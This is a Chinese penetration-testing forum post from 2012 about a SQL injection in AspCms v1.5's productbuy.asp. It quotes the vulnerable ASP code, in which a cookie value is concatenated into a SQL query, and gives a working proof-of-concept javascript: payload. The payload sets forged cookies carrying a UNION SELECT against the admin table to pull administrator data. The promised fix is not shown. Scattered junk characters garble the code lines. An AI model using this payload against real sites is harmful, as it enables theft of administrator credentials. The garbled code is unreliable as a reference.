中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....+ e1 _, W. `& j/ {/ U
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
5 J+ D# n8 _6 ?废话不多说,看代码:
( o$ j4 B2 x, _2 J: o; T# O1 I* ?/ g$ Z8 S
<%$ T* V. i9 p8 _. N2 Y: s
; Z* h  [( \/ L3 f1 v
if action = "buy" then3 X2 x% c& R& \% Z

2 m+ L6 Q/ [. M5 h  |; {        addOrder()
; M& \+ c# C" D5 Q' Y, r; B& v0 J2 O$ K0 t6 t- [. p; e
else5 ?7 }7 l* }; O3 E1 \( r
2 D) j9 M9 l( f
        echoContent()
4 Z7 u4 F9 }; V
/ f* m# \: V! D1 e1 H0 Wend if
1 \7 M5 p6 f0 t7 r" A! U3 [1 G3 ]9 U' o
! m* x8 v" W1 J/ Q- J8 ?
% z. n) V2 q3 L7 b9 w& d
……略过
& I! j, r; Z3 ]
$ m) K! ]" v. `; C
, m9 G" E( I% u! p8 a4 X5 k2 ]5 a* l
Sub echoContent()
) B6 F+ a5 o$ w5 B- U1 j1 k: P* ^
        dim id
. y: t( d( C( M9 V" y# Z+ l8 y2 P2 V- ~  ~
        id=getForm("id","get")
, g5 _7 U4 x" \) W# r7 I; d3 f( Q6 X, j- X: O* T$ a/ l
        
4 y# n4 h- {% t6 l1 T. B( {& u# [
/ K6 g" Q' `; _! ]' X* S! Z        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" " S' N* F5 r6 B# ~5 w+ Y
+ y1 L9 o& S- Q4 F4 @) i
        
6 ]" ?" _: E+ a7 y* h
" q: k1 B" G  ^3 s1 j; _" h- t# u, B( b        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- Y& A7 X" Z/ G9 c- Z. {$ Y/ g: D/ b" p3 d/ s6 B
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
# E3 {% d* U" m1 u9 ^  n: `
6 H; D& B7 m& s% T% l# K        Dim templatePath,tempStr
- P' [5 s" c3 i$ D2 h# r( v2 A7 W
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
8 Q6 [2 D  L# L% o
/ k7 a0 G: z5 ?) r% Q) r
& s. c% W: W% m" q! l" @3 J, ?$ F. s# S+ |: K- T: M
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")4 }/ _+ p' Q& @% Z

  P" C3 R& @1 B! l        selectproduct=rsObj(0)
7 U- T5 q+ }' `# K7 f
9 G: X2 s/ o3 F2 H4 Z        
) o, W% c+ n! x( Q% C+ \! u; J% i. M8 P  w. I$ ~5 ]
        Dim linkman,gender,phone,mobile,email,qq,address,postcode) M! j8 e) P5 E* q# \- t

8 b9 O4 }4 C! _: Z. G        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0; w) @9 o# x# V0 W9 F, j

' \% I- D9 X& a  l        if rCookie("loginstatus")=1 then  
4 j# I; J2 [, U1 p
7 q; K9 M8 B2 d: G. `" P7 d                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")4 Q4 ~) ?9 T/ S+ U; S- s

6 _4 r2 T: F& r$ C                linkman=rsObj("truename")
: U; _6 u6 k4 o+ f: r. j& [- g3 C" w6 U
                gender=rsObj("gender")3 r, g1 ^7 u5 |9 z; q8 A/ r2 u0 x

: e) l! ?& w, _  B                phone=rsObj("phone")0 |3 h6 n' {) c

3 L- W4 h3 h4 b/ R. z* S/ f                mobile=rsObj("mobile")2 Q" O/ A' ?, T# W+ }  c/ ^3 G) s/ b

$ T# I$ g1 [3 Q7 h, E$ x3 K, `                email=rsObj("email"): C9 z3 Q  o$ Y2 `# z+ z

# x4 Z8 _5 H) X) S4 R; }5 q- \                qq=rsObj("qq")
, ]- c% D1 r1 N) Y. p' G  L% n
5 {' `- M' ]2 z' ]                address=rsObj("address")
- |( ^$ U' A* U* j5 e+ O( o& e
+ C% q4 |( J0 B                postcode=rsObj("postcode")  u4 A  v9 i" Y: \. {
( h7 U6 s" C" v) c. S
        else
; I$ {' `) c1 g( x  M; ?1 v/ N# {" h6 a& S1 Y2 t% I! _! {/ h
                gender=1
# b: B& k$ r9 _% p% F) ?* l( \
- n% f' |& t9 ^        end if4 i( ~: G4 A" p2 w

& B/ q$ O8 y5 {2 c% v) |        rsObj.close()
1 h+ B! p& R, t0 l7 X2 b) R
$ R9 ?8 P  c* ?4 Y2 G9 S               
6 x8 r* I6 n& M: k3 D6 a" _' i9 l; y7 X) V$ P
        with templateObj + ^, o: E% x5 h! V0 l5 b8 K1 G
- o% h) K/ r. A- {7 a4 F# T. v5 b2 W
                .content=loadFile(templatePath)        ! V$ S6 O: Z3 D7 U

* i9 ?* U" v+ c* n& c1 r' T  [2 w                .parseHtml()# B" Y9 G5 M1 @4 D) J  _2 {
2 {5 l: p4 l/ }5 _
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)7 v4 H0 Q! e3 L3 Q5 }
! d' N8 R' z6 P. y1 d3 v1 t' S! r6 a
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                $ Z# J$ z1 v# K
4 z+ f7 V4 y% \, F- n
                .content=replaceStr(.content,"[aspcms:gender]",gender)                ( I; w" X2 T. b% t

% Y" }: N, a! ?) `- B4 N                .content=replaceStr(.content,"[aspcms:phone]",phone)                2 |! w2 F9 v6 o- v# T
8 O4 @1 G9 y& u
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
; }7 o' I; n6 F# f2 ?
7 ~! T+ `2 N; |& P2 R. I8 v                .content=replaceStr(.content,"[aspcms:email]",email)                        
# W9 X5 r) m$ E" s% L8 s8 _1 [' Q9 b
4 y; S7 a, s. _7 y5 h                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
) b' T( d" n' m4 |* K4 q# v7 B. ^1 V2 b# W
                .content=replaceStr(.content,"[aspcms:address]",address)                        9 ~3 L' l/ @3 ?2 }& @

9 ]/ V# E7 H# v4 [                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        & @0 R0 m. b5 R4 o5 O

) e5 i2 E4 y  m                .parseCommon()                 7 y" \( F% }/ i# W

- [8 w" w" b4 ~# g/ D                echo .content
  J' H/ X5 d5 @% h6 |+ N8 t- C6 ~" G* j
        end with
8 K4 V. W  E+ m5 U6 d$ K( i8 Y, W* n- m5 {* F7 g- u! |
        set templateobj =nothing : terminateAllObjects1 T0 u6 K8 Q2 B, Y6 d
6 f7 u% [# a, r- A$ X8 J8 U, q9 v
End Sub4 `  I0 L9 k( k
漏洞很明显,没啥好说的$ G' {+ N0 g% w% K% y
poc:) C2 Z. j2 X( _! O

$ M. ]5 E) c; e* Jjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​( G- C5 }; I" O. x, Z: x5 ?' ?
4 O/ a; Y) W  \" ?; ?4 b7 {





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2